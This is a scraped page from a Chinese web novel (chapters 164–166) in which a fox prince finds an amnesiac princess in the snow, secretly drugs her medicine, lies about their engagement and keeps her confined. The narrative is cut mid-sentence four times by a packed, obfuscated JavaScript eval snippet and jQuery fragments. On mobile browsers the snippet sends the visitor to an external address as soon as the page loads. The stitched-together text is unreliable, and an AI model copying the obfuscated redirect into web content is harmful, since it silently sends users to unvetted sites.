;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886267|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的寒让人难以忍受。
越发的冷了。
快要走不下去了。
不知道走了多久,君羲完全是凭着一股劲儿在往十万雪山外走。
她此刻的精神疲惫到了极点。
好困……
好累……
好想躺下,有个温暖的地方休息……
也不知是君羲执念太强,还是真的诚心感动了上苍。
走着走着,君羲在不远处,大约一公里的地方发现了火光。
此刻已经快到傍晚了。
君羲必须先找个地方落脚休息,等养足精神,第二日继续赶路。
她本以为,可能需要自己挖个洞窟避风了,却没想——
山重水复疑无路,柳暗花明又一村。
有了终点,君羲精神一振。
她快速靠近炊烟袅袅的地方。
当然,君羲该有的警惕心还是有的,她收敛气息,在快要进入营地范围时,往下一趴,整个人藏在雪里。
她需要先观察一下。
涂山烈把王紫汐送回大凰边境后,就一直在岚州边境外十五里驻扎。
主要是为了在和大凰的合作中占得先机,逼近还有蛇族在一旁搅局,涂山烈不得不更加谨慎。
“王爷,岚州怎么还是模棱两可,不正面回应我们合作之事?”
那狐族男子一脸愤愤不平,他最讨厌失信之人。
“王爷,我看,大凰人就是不像遵守承诺了,要不要属下潜入岚州,抓一两个人质回来当筹码?”
涂山烈长身玉立,他俊朗英气的眉眼低敛着。
君羲应该不至于说话不算话才对,涂山烈怀疑,很有可能岚州内部出现问题了,而且还是很严重的问题。
所以,才没空谈合作。
到底是什么事情呢……
涂山烈想破脑袋也不可能想明白,是白渊借信息差,设了一个专属陷阱,把君羲拐回去了。
“在等一天。”
涂山烈带过来的人都是心腹,他的话就是绝对的信条。
“是,王爷。”
涂山烈最后看了一眼暮色下的岚州边境城池,微微抖落墨色大氅边缘的雪。
“本王去周围转转,你们先用膳。”
涂山烈心头压着事,涂山靖最近是听话了些,忙着找解药,没空作妖。
但是,狐王却对他越发不满,动了送他和亲的想法。
为了防止夜长梦多,或许,他不该讲究太多……
反正也只是名义上的妻主,不会发生夫妻之实。
就算比画像上的女人丑,也不是无法接受。
只要不要丑得太离谱就行。
涂山烈心中思考,是否将娶亲提上日程。
他很清楚狐王的心性,涂山靖暂时倒台,无法和自己打擂台,朝中他一人独大,狐王早就生了忌惮之心。
涂山烈想先发制人。
“什么人?”
刚刚,他似乎踢到了什么东西?
涂山烈垂眸,就见到一个昏迷在雪坑里的女子。
君羲也没想到,强效软筋散会在这个时候发作,脑袋昏昏沉沉,有些分不清梦境和现实……
没时间了!
最后,脑海中的画面是涂山烈和她恩爱之时。
君羲没有选择,见到涂山烈时,她爬出雪坑,挡在涂山烈必经之路上。
然后,放心地晕了。
涂山烈蹲下身,从雪里薅出君羲的脸,心神一惊。
“君羲?”
第164章 金屋藏娇
涂山烈还以为自己出现了幻觉,君羲身为大凰太女,身份尊贵,日常出行必定是护卫周密,怎会出现在此处?
他抬起女人的脸,仔细打量着。
那幅画像画得极好,君羲脸部特征一清二楚。
眼前这张脸,和画像别无二致。
只是,画像中的君羲,要显得稚嫩青涩一些。
一旁的狐越也是惊呆了,他是涂山烈的贴身亲卫,之前也是他负责给涂山烈寻找合适的成婚对象。
那幅画像,就在他手中保管。
狐越确认,他们捡到的这个女人,就是大凰太女——君羲无疑。
“王爷,这?”
狐越思索了一番,在涂山烈身旁蹲在,仔细查探君羲状态,犹豫了一下,开口问道:
“要不把太女带回去?太女看上去状态不太对劲。”
涂山烈也察觉到了,传闻,君羲率兵大败倭寇,自身还是八重武者,但他可以确定,躺在雪地里人事不省的女子,体内并无内力傍身。
是出现了什么意外,还是天底下真的有一模一样之人?
但无论是哪一种情况,都不能丢下君羲在雪地里不管不顾。
涂山烈感受到把脉的手腕越发冰凉,他连忙取下披在自己身上的墨色大氅,将女人包裹住,打横抱起。
为了避免不必要的麻烦,他特意将君羲的脸藏在大氅里,然后又将女人的脸朝向自己的胸膛。
他军中,并不是铁板一块。
狐王,靖王、优王、英王……还有各大朝臣等,都在他军中安插得有眼线。
君羲的身份特殊,无论她是真君羲还收假君羲,都不能暴露。
涂山烈抱着君羲,才发觉,传闻中强大无比的大凰太女,在晕倒后,抱起来很轻,倒显得有几分脆弱了。
“回烈王府。”
涂山烈在雪地里捡了一个女人的消息很快就传扬出去。
谣言越传越离谱!
从最开始的好心救人,演变成了涂山烈强取豪夺,金屋藏娇。
“据说烈王府中那位,可是个举世罕见的绝世美人!”
“真的?展开说说。”
“骗你干嘛!烈王一向洁身自好,比他小三岁的优王都有娃了,他还没娶亲……若不是绝世美人,怎么可能会得烈王青睐?”
“嘶……”
周围的人倒吸一口冷气,小声提起某个忌讳。
“难道不是因为大凰太女的婚约?”
那说小道消息的人顿时急了,恨不能让所有人都相信他嘴里的消息。
他拍桌站起,神情十分激动。
“当然不是!烈王英雄人物,怎么可能委身女尊王朝的太女?他之前纯属是眼光高,根本看不上那些贵女!”
“哇,原来如此……”
就这样,谣言四起,越来越离谱。
甚至还演变出了好几个版本,比如……
涂山烈早就和捡回来的美人认识,这次是借着扳倒了靖王,所以才将美人接回来成亲。
又比如……
涂山烈不成亲是因为看中了他人的妻子,现在用了脏手段,终于强行抱得美人归。
谣言中的男女主人公,此刻正在床榻边一躺一坐,大眼瞪小眼。
君羲醒过来,才发觉已经是第二日下午。
涂山烈刚好在门口送走太医。
男人的神情有些难辨,眼底的神色说不清是欣喜还是晦暗。
刚刚太医的话言犹在耳,君羲后脑受到冲击,有瘀血堆积,导致脑中记忆混乱。
在君羲身上,还探查出冰晶花和强效软筋散的药性残留,这就解释了君羲为什么内力全失。
涂山烈没想到,他居然阴差阳错之下,见到了自己的“未婚妻”。
现在的情况有些复杂,他一时之间,拿不定主意如何处理。
涂山烈心中有两个方案:
一,趁人之危,君羲现在记忆混乱,他刚好可以编造事实,将君羲绑在身边。
有了君羲在手,还怕大凰不同狐族合作吗?
二,将人送回,借此大恩,作为筹码和大凰谈判,顺带解决和君羲身上的婚约。
若不是涂山烈,君羲很有可能就冻死在雪地里。
他救了大凰未来的帝王,大凰不给报答,怎么都说不过去吧。
涂山烈脑海中想了许多,他内心更偏向于第一种方案。
不是因为涂山烈对君羲有好感,只是他喜欢将主动权掌握在自己手里。
第二套方案,存在大凰翻脸不认人的可能性。
这种可能性很小,但不是不可能发生。
据狐族在大凰的探子来报,大凰境内,粮食库存并不丰裕。
先是救济绥州、漾州,后又救济岚州、钦州、蔼州。
但是,第一种方案也有极大的风险,若是君羲记忆恢复,内力恢复,怕是第一时间就会找他算账。
十万雪山易守难攻,但大凰更有奇军百万。
若非必要,涂山烈并不愿意爆发战争。
涂山烈还没想好如何对待君羲,绝境逆袭睁眼后,朦胧的光线中,她看到了一个熟悉的背影。
脑海中错乱的记忆,让她开口小声喊了涂山烈一句。
“夫君?”
涂山烈瞳孔微缩,君羲身在女尊王朝,怎么会喊“夫君”这种对她而言是羞辱的称呼。
而且,君羲的成长环境,也不该有这两个字存在才对。
涂山烈僵硬着背影,一动不动。
君羲有些疑惑,为什么男人不搭理她,明明记忆中,她们是如此相爱。
“阿烈,你怎么了?怎么不搭理我。”
涂山烈回过神来,本来他没想好如何处理君羲的事情,但君羲刚醒来时对他帝王称呼,让他下定了决心。
就选方案一。
至于以后……
他先度过眼前危机再说。
他转身,脸上带着恰到好处的担忧,开口解释道:
“阿羲,你可把本王担心坏了,刚刚本王是太高兴了,所以才没反应过来,并非不搭理你。”
他抬手去摸君羲的脑袋,语气带着几分宠溺。
“你我二人还未成婚,刚刚阿羲唤本王夫君,本王很高兴。”
君羲脑海中闪过什么,她分明记得,她们已经成婚了才对。
就是哪里不对?
她盯着涂山烈的脸,企图在上面看出什么端倪。
涂山烈任由君羲打量,君羲的记忆存在恢复的可能,但绝不会那么快。
“阿羲,你刚醒,不宜伤神,先喝药。”
一旁的小桌上,放着一碗黑乎乎的药。
君羲心中有些警惕,不知为何,她对喝药一事有些抗拒。
涂山烈心想,估计是被下强效软筋散留下的后遗症,冰晶花
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886268|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的效果只能维持三天,那人若想控制君羲,就只能每隔一天就给女人下强效软筋散。
这碗药中,的确也有强效软筋散。
涂山烈可不敢去赌,万一君羲恢复内力的同时也恢复了记忆,那就完蛋了。
男人用勺子舀起一勺汤药,递到君羲唇边。
“阿羲,喝药了。”
君羲攥紧了手指,别过头,无声地抗拒。
但这样僵持下去不是办法,君羲灵机一动,想了个好主意。
她装作娇气怕苦的模样,软着声音对涂山烈说道:
“阿烈,这药闻着太苦了,你亲口喂我喝好不好?”
只要涂山烈敢入口,君羲就能确认这药到底有没有问题。
涂山烈周围除了男子就是太监,从未和女子亲密接触过,君羲的话让他手指一僵,汤药撒了一半。
君羲愈发怀疑药有问题,大有一副,你不亲口喂,她就不喝的姿态。
“阿烈,你不是说我们快要成婚了吗?怎么还如此生疏,莫不是这药有问题?”
涂山烈心中暗道不好,君羲已经起疑,必须先稳住局面。
他稳住心神,朝君羲笑了笑。
哐当,哐当,药勺在碗壁碰撞出清脆的响声。
他重新舀了一勺药,在君羲催促的眼神中将药含在嘴里。
霸气英俊的容颜陡然在面前放大,君羲心里一慌,支撑在身后的手动作,想后退。
涂山烈不给君羲躲藏的机会,他一把按住女人的后颈,双唇接触。
君羲凤眼微微睁大,事已至此,不如就试试这药究竟有没有问题。
她主动将药喝下去,同时,也让涂山烈把药咽了部分下去。
苦涩的滋味在二人唇舌间流转,不知情的人还以为他们二人在激情缠绵呢……
狐越就是这个不知情的人,他一把捂住自己的眼睛,欲盖弥彰道:
“王爷对不起,我什么都没看到,你和……”
涂山烈紧急咳嗽,提醒狐越,不要说出不该说的话。
“咳咳,本王不过喂王妃喝药,狐越,大惊小怪成何体统?下去领罚。”
狐越放下遮住眼睛的手,眼里的惊讶一闪而过。
不是,王爷不是一直想和大凰太女退婚吗,怎么现在称呼君羲为王妃?
狐越觉得,他似乎接触到了什么了不得的秘密。
自家王爷,怕是要犯错了。
但是,狐越是狐族人,更是涂山烈的心腹,自然是站在涂山烈这边。
他极快地反应过来。
“王爷,王妃身子骨弱,你还是得克制些。”
涂山烈瞪了狐越一眼,狐越这小子,再说什么虎狼之词,他根本就什么都没做好不好。
刚刚喂药,不过是君羲怀疑药有问题,试探他而已。
这么就上升到他要克制自己了?
他看上去很饥渴吗?
“多嘴。”
“还不下去?”
狐越贴心地离开了,还关上了大门,免得有像和自己一样不长眼的人闯进来,打扰到王爷的兴致。
“阿羲,现在可以喝药了?”
君羲点了点头,主动去接涂山烈手中的碗。
“我自己喝吧。”
做戏做全套,涂山烈深谙此道。
他避开君羲的手,坚持要亲自喂君羲喝药。
“阿羲,本王喂你喝。”
第165章 抢婚
涂山烈亲自喂君羲喝药,除了要扮演恩爱眷侣外,另一个原因是怕君羲悄悄把药倒了。
他必须看着君羲把这碗药全部喝完,才能放心。
君羲没有拒绝,她总觉得,现在的这一切,都像一场虚幻的梦境,不太真实。
但每每想要深入探究,她脑袋就针扎似的剧痛。
反正她也得找一个安身之所,身上背负秘密,等她身体好了在探究也不迟。
“阿烈,你待我真好。”
涂山烈一勺又一勺给君羲喂加了强效软筋散的药,闻言,有些心虚地移开目光。
“这都是本王应当做的。”
君羲咽下最后一口药,突然对涂山烈来了一句。
“阿烈,我们的婚期定在何时?怎么我脑海中完全没有任何印象。”
这话是骗涂山烈的,君羲脑中的记忆告诉她,她和涂山烈早就成婚,已经有了肌肤之亲。
身体的不适也在告诉君羲,她们发生过什么,只是她伤了脑袋,记不清了。
涂山烈道:
“阿羲,你和本王的成婚时间本来定在五日后,但你现在身子不适,婚礼不必急于一时,等你身体好了,我们在成婚也不迟。”
涂山烈越是迁就她,对她好,君羲就越觉得其中有猫腻。
“是吗?阿烈,可我怎么记得,我们分明早就成婚了。”
什么?
涂山烈吓了一跳,君羲的记忆怎会混乱成这样,平白多了一段不存在的记忆。
她究竟把和谁的婚礼,其中的男主人公替换成了他?
涂山烈心中暗暗有些不爽,他涂山烈,狐族战神,屡战屡胜,有自己的骄傲,绝不容许成为旁的男子的替身。
难怪,刚刚君羲醒来之时,唤他夫君。
涂山烈面上的表情没有维持住,只是一瞬间的波动,就被君羲清楚捕捉到。
“阿烈,到底是怎么回事?”
涂山烈定了定心神,已经想好了说辞脸上的表情又恢复了完美如初。
“阿羲,定然是你太过在乎本王,所以才把幻想当成了现实。”
“本王能得阿羲倾心相待,此生足矣,本王发誓,此生此世,唯爱阿羲一人。”
涂山烈一脸神情,一向冷硬肃杀的脸硬生生夹杂了几分柔情进去。
不对劲!
十分里面有十二分的不对劲!
君羲反而越发怀疑事情的真相,但眼下,不能继续试探下去了,以免打草惊蛇。
“唔……这样?”
她放弃追根究底。
“阿烈,我身体无碍,不若五日后,就如期举行婚礼吧。”
君羲顿了顿,一脸为涂山烈着想的样子。
“阿烈,我不愿你为了我,延迟婚期,被狐王责难。”
君羲真是一个难缠的对手,失了记忆尚且难以对付,若是没失忆,更难对付。
涂山烈一脸感动。
“阿羲,你带本王真好,只是……你的身体当真无碍?”
“无碍,坚持完婚宴没问题的。”
君羲凤眼划过一某冷色,她倒要看看,涂山烈会如何应对五日后的婚期。
接下来,她得先养好身体。
君羲目送涂山烈离开,倒头就睡。
涂山烈会如何为难,那就不干她事了。
谁让涂山烈满口谎言,骗她五日后婚期,她要让涂山烈搬起石头砸自己的脚。
涂山烈正在书房中写信,同时,命令狐越增派人手看守君羲所在小院,叮嘱狐越,万万不能露出马脚,让君羲生疑。
信的内容是告知岚州钦差——王冰,大凰太女被他所救,只是如今伤重,无法轻易离开……最后,委婉地提起狐族资源紧缺,怕无法照料好太女殿下一事。
涂山烈检查一番,确认没有遗漏后,命心腹暗卫务必将信亲手交到王冰手中。
王冰看到信件,第一反应是不相信。
太女殿下武功盖世,怎么可能被狐族小人擒住?
直到王权不弃和慕夜声解释,才咬牙切齿骂蛇族和狐族无耻,尽用些卑鄙手段!
慕夜声这段时间消瘦了许多,他心中担心君羲,同时愧疚至极,若不是为了救他,君羲不会落在涂山烈手中。
他心里担心君羲的同时,还得替岚州灾民看病,一连七八日,整个人瘦了一圈。
王权不弃则是好几晚没睡,没日没夜地在十万雪山中寻找君羲的踪迹。
“王大人,太女殿下在狐族之事,不得走漏风声。”
王权不弃和慕夜声都怕君凌、君明月、月江离、左锦……等人的余孽以及朝中心思不纯的官员,知道此事后,会对君羲不利。
王权不弃终于松了一口气,幸好君羲没事。
他提笔给顾景行和顾青颖写信,唤来阿元,让阿元送信。
目送雄鹰离开,王权不弃收回目光。
“狐族想要耐寒粮种,以及保暖物资?”
王冰研读涂山烈写的信,点点头。
“虽然写得比较隐晦,但的确就是仗着太女殿下在他们手上,所以谈条件呢。”
王权不弃:“只要妻主能平安归来,这些条件无足轻重。”
王冰一脸赞同,太女殿下才是大凰的根基,这些条件和太女殿下比起来,自然不够看。
另外,慕夜声还猜测,君羲很有可能是受伤了,所以才无法回到大凰。
“那处雪崖又高又险峻,阿羲她很有可能伤到了后脑,导致失忆或者记忆混乱了。”
“这种伤情在医术上也有记载,名为失魂症。”
王权不弃和王冰眼里都闪过担忧。
“慕兄/慕侧夫,殿下记忆还能恢复吗?”
慕夜声闭了闭眼,这种情况,他也无能为力。
他更加痛恨自己,为什么学艺不精,不了解冰晶花花香能导致内力全失的药效?
为什么武功平平,害君羲为了救他如今身陷陷阱。
若是君羲在狐族出了什么意外,他就算拼了这条命,也要给妻主报仇,然后在殉情。
“有恢复的可能,但说不好多久能恢复。”
有可能三两月就能慢慢恢复记忆,但也有可能,一辈子都无法恢复。
人的所有身体部位中,脑袋无疑是最重要的。
伤到了脑袋,慕夜声并没有太好的办法医治,那本医书中,也只是提到了失魂症的表现,没记录治疗方式。
慕夜声只能依照行医经验,选择药膳排淤,金针辅佐。
这一切,都得建立在君羲在他身边。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893418|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>王权不弃了解慕夜声需求后,拿出了一枚玄色金字令牌,上面写着一个大大的“羲”字,右下角是一个小小的“暗”字。
这枚令牌是君羲给王权不弃的,能够调动暗卫军,见此令牌如见君羲本人。
“慕兄,你放心,我一定将妻主带回来。”
君羲是因为他们二人才出事,王权不弃如今得知了君羲的下落,自然会全力以赴带君羲回家。
慕夜声和王权不弃心里的大石头总算落了地,君羲总算是有消息了。
“王权侧夫,慕侧夫,太女殿下之事,可有下官能帮上忙的地方?”
王权不弃也不和王冰客气,让王冰去准备足够的粮种、棉花以及一系列物资,装车备用。
他则是用令牌见一见暗卫军,挑选明面上押送物资进入十万雪山交易的人选。
一切都在有条不紊地进行着。
白渊却是发疯了。
筑巢筑好了,是君羲要求的羽箭穿心状,但是——
他的伴侣不见了!
逃走了!
白渊窝在筑的巢里,一边哭一边生气。
“兮兮,为什么要丢下我!呜呜呜……”
“兮兮,不要丢下阿渊,阿渊知道错了。”
筑巢期快要过了,白渊神智开始慢慢恢复,等筑巢期完全过去,白渊心中明白,君羲这是逃走了!
男人阴柔漂亮的脸划过一抹阴郁。
纵然是他使手段把人拐带回来的,但如胶似漆的近十日时间里,君羲不知对他说了多少甜言蜜语。
难不成,这些都是骗他的?
更糟糕的是,白渊已经习惯了有君羲的体香相伴入眠,由俭入奢易,由奢入俭难。
他现在没有了清冷雪香伴随入梦,夜里总是辗转反侧,彻夜难眠。
“兮兮,别让本少族长找到你,找到你,你说什么都不管用。”
他一直舍不得对君羲狠心,发热期除了在床榻上霸道一些外,对君羲可谓是百依百顺。
甚至,君羲害怕抗拒两个,他都没舍得为难女人。
现在看来,他就是对君羲太纵容了。
才让女人生出了逃离他身边的想法,白渊自始至终都没认为自己做错了,他一心只想着把人抓回来。
“少族长,狐族烈王大婚邀请贴,少族长可要前去观礼?”
白渊不感兴趣,刚想要回绝,便听外面的族人说:
“少族长,那新娘可是个绝世美人,听说,是被烈王抢回去的呢。”
白渊脑中灵光一现,似乎捕捉到了什么讯息。
“请帖拿进来。”
他打开请帖,里面写着婚宴举办时间,以及新郎和新娘的名字。
新郎:涂山烈。
新娘:月汐。
看上去似乎没有什么异常,但白渊在看到“汐”字,立马想到了之前他问君羲名字是君羲脱口而出的“汐”字。
君羲有个深爱的鲛人侧夫,名唤“溟汐”,白渊眯起漂亮的冰蓝色竖瞳。
事情不会这么巧,或许,他需要亲自去狐族参加婚宴,确认一番。
“蛇兰,一日后,你陪本少族长去狐族走一趟。”
兮兮,月汐会是你吗?
若是,他可就要——
抢婚了!
第166章 软肋
十万雪山中,叫得上名号的兽人族群都收到了涂山烈婚宴的请帖。
请帖上不过寥寥数语,却是涂山烈付出巨大代价换来的。
君羲给涂山烈丢下一个难题后,就开始了在烈王府中养病闲逛的悠闲生活,但据君羲观察,她是被软禁在烈王府中了。
一旦她有要靠近烈王府大门的想法,守卫就会出现阻拦。
看来,她的记忆果然出现了大问题。
到底什么是真的,什么又是假的?
当脑海中的记忆都不可靠时,君羲又该如何从中破局呢?
君羲暂时还没得出答案。
“狐越,王爷呢?”
狐越被涂山烈指派给君羲使唤,据男人所说是担心她的安危,所以特意派手底下的心腹保护她。
君羲:呵呵,明明就是不放心她,所以让狐越监视她呢。
不过,现在她被困在烈王附中,不宜撕破脸皮,君羲也就当做一无所知,一派天真乐观的模样。
狐越听到君羲问话,嘴角直抽,他真替王爷感到不值得!
涂山烈此刻还在王宫月宇殿外跪着,纵然王爷身体素质强悍,但终归是血肉之躯,怎么经得住这么无止境地跪下去?
还不是为了君羲这个红颜祸水!
狐越心中对君羲不满,语气自然就没那么好。
“王爷为了王妃,现下正在月宇殿外跪着。”
君羲眼底划过一抹不可思议,涂山烈在她看来,属于傲骨铮铮的男子,怎会为了她随口一说的婚礼,就去跪着求狐王成全?
“为何,婚期不是早就定了吗?”
狐越心中暗道不好,他可不能坏了王爷的计划。
他连忙收敛心中思绪,对君羲解释道:
“王爷在朝中一人独大,狐王心生忌惮,王妃你身份特殊,狐王并不想王爷娶你为正妃。”
“可王爷对王妃可是一心一意,海枯石烂,爱意都不会枯竭,所以愿意为了王妃奋力抗争。”
狐越瞎编乱造,说着说着,把自己都给感动了。
说谎的最高境界,就是连自己都骗过去。
狐越越说越顺畅,直接把涂山烈塑造成了一个痴情男子,为了爱人甘愿舍弃一切。
君羲眼神微动,她随手折了一朵花。
“是么,王爷他居然……如此爱我,我不该怀疑王爷对我的真心的,这是对王爷真心的羞辱。”
狐越见终于糊弄过去,心里长叹了一口气。
可算忽悠过去了,君羲太多疑了。
真不愧是大凰未来的帝王,得了皇帝疑心重的通病。
君羲扯着手中的枝桠,一瓣又一瓣花瓣被她摧残,女人的内心似乎特别乱。
“我何德何能,让王爷为了我做到这个地步?”
“王爷为了我们的爱情倾尽全力,我也想做些力所能及的事情。”
君羲擦了擦眼角溢出的泪,提起裙摆就想往府外走去。
“王妃,王爷离开时嘱咐过属下,务必确保王妃安全,现在外面很危险,不知多少双眼睛盯着烈王府。”
“王妃若是出了差池,属下无法和王爷交代。”
“还请王妃不要为难我等,回去休息吧。”
君羲并不打算就此罢休,她想试探一下涂山烈对她的底线。
“可是、可是我担心王爷,你们让开,我不过是想买王爷最喜欢的梅花酥慰劳王爷而已……”
“梅花酥铺子距离烈王府很近,不会有事的。”
可惜,狐越和守卫是铁了心不想放君羲出去,君羲说破了嘴皮子,也没能让他们放她出府。
他们越是阻止她,君羲心中对涂山烈就越是戒备。
“王妃,还请回去。”
君羲只能遗憾收尾,她挥了下衣袖,藏青色的广袖流仙裙在空中掀起一抹优美弧度,她冷哼一声。
“回去就回去,等王爷回来,我非得告你们状不可!”
“我是王爷唯一的王妃,更是他此生挚爱之人,你们却对我处处阻拦,莫不是拿着鸡毛当令箭,连王爷都不放在眼里了?”
君羲嘀嘀咕咕,一番话让守卫们冷汗涔涔。
“王妃留步!”
君羲回头,却是停住了脚步。
“何事?”
守卫们彼此交换了一个眼神,一个人出府去买梅花酥,剩余人在门口继续看守。
“王妃娘娘,您大人不记小人过,我们也是奉命行事,桃花酥小李去买了,王妃一番好心,想必王爷一定会满心欢喜。”
君羲这下大概知道了,她在府中地位的确算是特别,涂山烈将她软禁在此,在守卫们眼中,却是一种恩爱的象征。
“知道了。”
这时,小李回来了,手中提着君羲要的梅花酥,额头上还有汗珠,显然是一路小跑回来的。
小李恭敬将精美的食盒递到君羲跟前。
“王妃娘娘,这是您要给王爷买的梅花酥。”
君羲接过梅花酥,外面就传来一道男声。
“王妃,你快来看看王爷吧,他在月宇殿前跪地晕倒了。”
涂山烈在月宇殿外跪了足足快有两天两夜,铁打的身体也经不住这么折腾,所以,在下午暴雪时,男人坚持不住,昏了过去。
狐王也总算松口了,同意涂山烈娶一个人族为正妻。
狐王老了,他多疑,害怕年轻力壮的儿子们会夺走他手中的权柄。
但,涂山烈终归是他儿子,是他从小教养长大的儿子,狐王心里潜藏着一丝对儿子的心疼。
罢了罢了……
靖王已经废了,优王醉心山水,只想做一个逍遥王爷,英王刚愎自用,性格爆裂,这两个儿子,都不适合继承狐族王位。
涂山烈若真的不想远赴大凰和亲,那就依了他吧。
“咳、咳……”
狐王脸色苍白,剧烈的咳嗽声在大殿内响起,就仿佛要将肺咳出来一样。
“传本王令,烈王心底纯善,依烈王所求,三日后举办婚宴。”
狐王唤来自己的御前总管,低声吩咐道:
“把烈王送回去,务必医治好烈王。”
御前主管心中一惊,他揣摩王意已久,知道,狐王这是瞩意让烈王继承王位了。
看来,以后可得对烈王更加客气了。
可怜了靖王,在关键时刻变得疑神疑鬼、疯疯癫癫,失了王子身份,遭到狐王厌弃。
若不是如此,烈王绝不可能这么轻易得到狐王青睐。
哎……
冥冥之中,一切自有天意。
靖王已经沦为废棋,极有可能会成为代替烈王去大凰和亲的人选。
烈王也算得上是心想事成了。
御前主管如是想着,不亏烈王在月宇殿外跪了快两天两夜,狐王的心都被跪软了。
他走出殿门,就看到被暴雪掩埋的一截墨色。
“烈王,烈王?”
“苏主管,我们王爷受寒过度,又两天两夜未曾休息,如今
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893419|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晕厥过去,可否请王上开恩……”
苏盛身为御前大主管,一下就推测出那小厮想表达什么。
他此次出来,本就是奉了狐王的命,烈王不能有任何闪失。
“快起来吧,暖轿很快就到,太医会第一时间全力医治烈王。”
“王上宽宥仁慈,允了烈王所求,三人后大婚,迎娶王妃进府。”
小厮名为狐青,是狐越的弟弟,同为涂山烈心腹。
他闻言,心中狂喜。
王爷总算是得偿所愿了。
不止能拜托婚约,还得到了狐王青睐。
想必,狐王之位,已经是涂山烈囊中之物了。
“谢苏大主管!”
苏盛客气得很,不出意外,涂山烈就是下一任狐王,他这把老骨头,想要顺利落叶归根,还得讨好未来狐王。
“不必客气,这都是杂家该做的。”
一队人抬着暖轿,身边跟着五六个太医,步履匆匆朝涂山烈等人走来。
“太医,你们终于来了,快来给王爷诊治一番。”
苏盛适时在一旁开口。
“王上有令,无论如何,都得保住烈王性命,尔等不得怠慢,否则提头来见。”
宫闱之中,看病也是很讲究的。
王上想让太医治好的人,太医自然会不遗余力,王上想暗中不声不响除去的人,他们自然会放任不救。
这是在会**的宫闱之中,太医的生存法则。
听苏盛开口,太医们心中门清,狐王这是真的想让烈王活。
那么……
开干!
涂山烈被抬进暖轿中,暖轿空间很大,太医也能容得下,太医们就在暖轿里,轮番给涂山烈诊脉。
“王爷这是邪寒入体,加上日夜操劳,随意才导致了昏厥之症……”
一大堆白胡子老头说了一大堆专业术语,狐青一个字没听懂。
他不耐烦打断太医们滔滔不绝地讨论,他只想知道,王爷的病能不能治好,什么时候能治好。
“各位太医,麻烦说重点。”
“一句话,能不能治?”
白胡子太医们吹胡子瞪眼,哪里来的毛头小子,一点也不知道尊重老人!
到底不敢对烈王的人如何,他们商讨一番。
“能治。”
狐青道:
“王爷三日后要大婚,可会影响?”
太医们瞪着狐青和昏迷的涂山烈,齐刷刷摇头。
“不可!”
狐青故意曲解太医们意思。
“那就多谢诸位太医鼎力相助了,王爷就交给你们了。”
“王爷深爱王妃,万万不能耽误婚期!”
太医们很无奈,总是会遇到不讲道理的病患!
谁懂啊?本来太医就是个高危职业,还得面对难搞不听话的患者,有时候,真的挺想乞骸骨的……
无论诸位太医心中如何吐槽,涂山烈和君羲的婚期算是定下来了。
涂山烈也在一碗苦药灌下去后,悠悠醒了过来。
嘴巴里弥漫这苦涩药味,涂山烈品味了一下……
难怪君羲不愿意喝药,的确有些苦。
涂山烈其实没什么大事,昏倒不过是自导自演,他不过是想上演一出苦肉计,把自己塑造成一个为爱昏头的愣头青形象。
一个人就怕没有软肋和缺点,涂山烈就是想将“软肋和缺点”暴露在狐王面前,让狐王降低对他的防备。
同时,他也不是真心想和君羲成婚……
第一卷 第167章 过分
